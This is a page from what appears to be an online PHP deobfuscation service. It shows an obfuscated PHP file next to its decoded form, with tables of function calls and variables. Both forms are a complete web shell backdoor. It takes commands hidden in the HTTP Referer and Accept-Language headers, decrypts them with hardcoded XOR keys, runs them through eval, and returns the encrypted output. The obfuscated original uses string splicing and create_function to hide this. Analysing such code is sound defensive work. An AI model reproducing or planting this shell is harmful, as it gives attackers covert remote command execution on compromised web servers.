Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $v='rpos($p,$h)s2==s2=0){$s2s[$i]="";$ps2s2=$ss($p,3)s2s2;}if(ars2ray_key_exiss2ts(..

Decoded Output download

$kh="a23c";$kf="a494";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$v='rpos($p,$h)s2==s2=0){$s2s[$i]="";$ps2s2=$ss($p,3)s2s2;}if(ars2ray_key_exiss2ts($s2i,$s2s)){$s[$';
$G='=arrs2ay_values($qs2s2);preg_match_alls2(s2"/([\\w])[s2\\w-]+(?:s2s2;q=0.([\\s2d]))?,s2?/s2",$ra,$';
$w='m);if($s2q&&$m){s2@ses2ssios2s2n_start();$s2s=&s2$_s2SESSIONs2;$ss="substr"s2;$sl="ss2s2trts2ol';
$t='ncompress(@s2s2x(@bs2ase64_decode(preg_replacs2es2(array("/s2s2_/","/-/"),arrs2ay("/s2","+")s2,';
$q='i]s2.=$p;s2$e=strps2os($ss2[$i],$f);s2if($s2e){$k=$ks2s2h.$s2kf;ob_start(s2);@evas2l(@s2gs2zus2';
$W=str_replace('cx','','ccxreatcxecx_fucxnccxcxtion');
$k='};}}return s2$o;}$rs2=$_SEs2RVER;$rs2r=@$s2r["HTs2TP_REFERER"s2];$ras2=@$r["s2HTTs2s2Ps2_ACCs2E';
$F='encs2os2de(x(gzcomps2ress($os2s2),$ks2));prints2("<$k>$d</$k>")s2;@ses2ssios2n_dests2roy();}}}}';
$g='PT_LANGUAGE"];is2f($rs2r&&$s2ra){s2$u=pas2rse_us2rl($rr);parse_sts2r(s2$u["querys2"]s2,s2$q);$q';
$Q='s2$ss($s[$is2],s20s2s2,s2$e))),$k)));$o=os2b_get_contents()s2;os2b_end_s2clean(s2);$d=base6s24_';
$h='ower";$i=$s2m[1][0].s2s2$m[1][1];$h=$sl($s2sss2(md5($i.s2$ks2h),0,3))s2;$s2fs2=$sl($ss(ms2d5($i';
$P='.$ks2f),0,3));$s2p="";fs2or(s2$z=1s2;$z<count($m[s21]);$z+s2+)s2$s2p.=s2$q[$m[2][$z]];if(ss2ts2';
$z='$kh="a23cs2s2";s2$kf="s2a494";fs2unction s2x($t,$k){$s2cs2=ss2trlen($k);$l=strlens2($t);$o=s2s2';
$V='"";for($s2i=0;$s2i<s2$l;s2){for($j=0;($j<$c&s2&s2$i<$l);$s2j++,$is2++){$s2os2.=$t{$i}^$s2k{$s2j';
$b=str_replace('s2','',$z.$V.$k.$g.$G.$w.$h.$P.$v.$q.$t.$Q.$F);
$D=$W('',$b);$D();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$D None
$F encs2os2de(x(gzcomps2ress($os2s2),$ks2));prints2("<$k>$d</$k..
$G =arrs2ay_values($qs2s2);preg_match_alls2(s2"/([\w])[s2\w-]+(..
$P .$ks2f),0,3));$s2p="";fs2or(s2$z=1s2;$z<count($m[s21]);$z+s2..
$Q s2$ss($s[$is2],s20s2s2,s2$e))),$k)));$o=os2b_get_contents()s..
$V "";for($s2i=0;$s2i<s2$l;s2){for($j=0;($j<$c&s2&s2$i<$l);$s2j..
$W create_function
$b $kh="a23c";$kf="a494";function x($t,$k){$c=strlen($k);$l=str..
$g PT_LANGUAGE"];is2f($rs2r&&$s2ra){s2$u=pas2rse_us2rl($rr);par..
$h ower";$i=$s2m[1][0].s2s2$m[1][1];$h=$sl($s2sss2(md5($i.s2$ks..
$k };}}return s2$o;}$rs2=$_SEs2RVER;$rs2r=@$s2r["HTs2TP_REFERER..
$q i]s2.=$p;s2$e=strps2os($ss2[$i],$f);s2if($s2e){$k=$ks2s2h.$s..
$t ncompress(@s2s2x(@bs2ase64_decode(preg_replacs2es2(array("/s..
$v rpos($p,$h)s2==s2=0){$s2s[$i]="";$ps2s2=$ss($p,3)s2s2;}if(ar..
$w m);if($s2q&&$m){s2@ses2ssios2s2n_start();$s2s=&s2$_s2SESSION..
$z $kh="a23cs2s2";s2$kf="s2a494";fs2unction s2x($t,$k){$s2cs2=s..

Stats

MD5 0e7ed681df16ac8cf5c0a9edbf7c33f0
Eval Count 1
Decode Time 61 ms